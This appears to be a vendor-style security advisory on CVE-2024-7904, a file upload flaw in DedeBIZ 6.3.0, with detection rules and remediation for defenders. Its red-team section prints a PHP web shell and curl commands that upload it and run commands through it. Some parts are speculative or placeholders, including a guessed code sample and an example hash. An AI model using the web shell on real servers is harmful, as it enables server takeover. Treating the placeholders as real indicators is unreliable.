CVE-2024-7904

Executive Summary

CVE-2024-7904 is a critical unrestricted file upload vulnerability in DedeBIZ 6.3.0, specifically within the admin/file_manage_control.php file. The vulnerability allows an attacker to upload arbitrary files by manipulating the upfile1 argument, leading to potential remote code execution (RCE) and full server compromise. The vendor has not responded to disclosure, and no official patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) but based on the description and impact, the vector is estimated as:
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)
• Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists.

Deep Dive & Mechanics

The vulnerability resides in the file admin/file_manage_control.php. The upfile1 parameter is used to handle file uploads. Due to insufficient validation of the file extension and content, an attacker can upload a malicious PHP file (e.g., a web shell) to the server. The uploaded file can then be accessed directly, allowing the attacker to execute arbitrary commands on the server.

The attack flow:

1. The attacker sends a POST request to admin/file_manage_control.php with the upfile1 parameter containing a malicious file.
2. The server processes the upload without proper sanitization, saving the file to a web-accessible directory.
3. The attacker accesses the uploaded file via a browser, triggering code execution.

Vulnerable vs. Patched Code

Vulnerable Code (DedeBIZ 6.3.0): The vulnerable code in admin/file_manage_control.php likely lacks file extension and content validation. A simplified example:

// Vulnerable: No validation
$uploaded_file = $_FILES['upfile1'];
move_uploaded_file($uploaded_file['tmp_name'], './uploads/' . $uploaded_file['name']);

Patched Code (Hypothetical): A secure implementation would include:

// Patched: Validate extension and content
$allowed_extensions = ['jpg', 'png', 'gif'];
$file_extension = pathinfo($_FILES['upfile1']['name'], PATHINFO_EXTENSION);
if (!in_array(strtolower($file_extension), $allowed_extensions)) {
    die('Invalid file type.');
}
// Also check MIME type and file content
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['upfile1']['tmp_name']);
if (strpos($mime_type, 'image/') !== 0) {
    die('Invalid file content.');
}
move_uploaded_file($_FILES['upfile1']['tmp_name'], './uploads/' . basename($_FILES['upfile1']['name']));

Exploitation & Lab Setup

Red Team

Prerequisites:

• DedeBIZ 6.3.0 installed and accessible.
• Knowledge of the admin directory path (default: /admin/).

Exploit Steps:

1. Create a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send a POST request to the vulnerable endpoint:

   curl -X POST -F "upfile1=@shell.php" http://target.com/admin/file_manage_control.php
   

3. Access the uploaded shell:

   curl http://target.com/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

1. Monitor for unusual file uploads to admin/file_manage_control.php.
2. Check for files with double extensions or non-image MIME types in upload directories.
3. Review web server logs for POST requests to the vulnerable endpoint with suspicious file names.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/admin/file_manage_control.php" method=POST
| rex field=uri "(?<filename>[^/]+)$"
| search filename IN (*.php, *.asp, *.jsp)
| table _time, src_ip, uri, filename

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, actual hash depends on payload)
• Network Indicators:
  • POST requests to /admin/file_manage_control.php with Content-Type: multipart/form-data.
  • Outbound connections from the server to attacker-controlled IPs (if reverse shell used).
• File System Indicators:
  • Unexpected .php files in /uploads/ or similar directories.
  • Files with permissions 755 or 777 in web-accessible directories.

Detection Engineering

YARA Rule

rule CVE_2024_7904_Upload_Shell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-7904"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-7904"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $cmd_param = "$_GET['cmd']"
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule

title: CVE-2024-7904 Unrestricted File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-7904 via file upload to admin/file_manage_control.php
author: Valters IT
date: 2024-10-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/file_manage_control.php'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate file uploads by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7904 Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/file_manage_control.php"; http_uri; content:"multipart/form-data"; http_header; content:".php"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /admin/file_manage_control.php via web server configuration (e.g., .htaccess or Nginx location block).
2. Restrict file uploads: Implement strict file type validation (whitelist extensions, check MIME types) and store uploads outside the web root.
3. Apply virtual patching: Use a WAF (e.g., ModSecurity) to block requests with suspicious file extensions in the upfile1 parameter.

Long-term Fix:

• Since the vendor has not responded, consider migrating to a supported CMS or applying a custom patch to the vulnerable file.
• Monitor for official updates from DedeBIZ.

Valters IT
Securing Digital Frontiers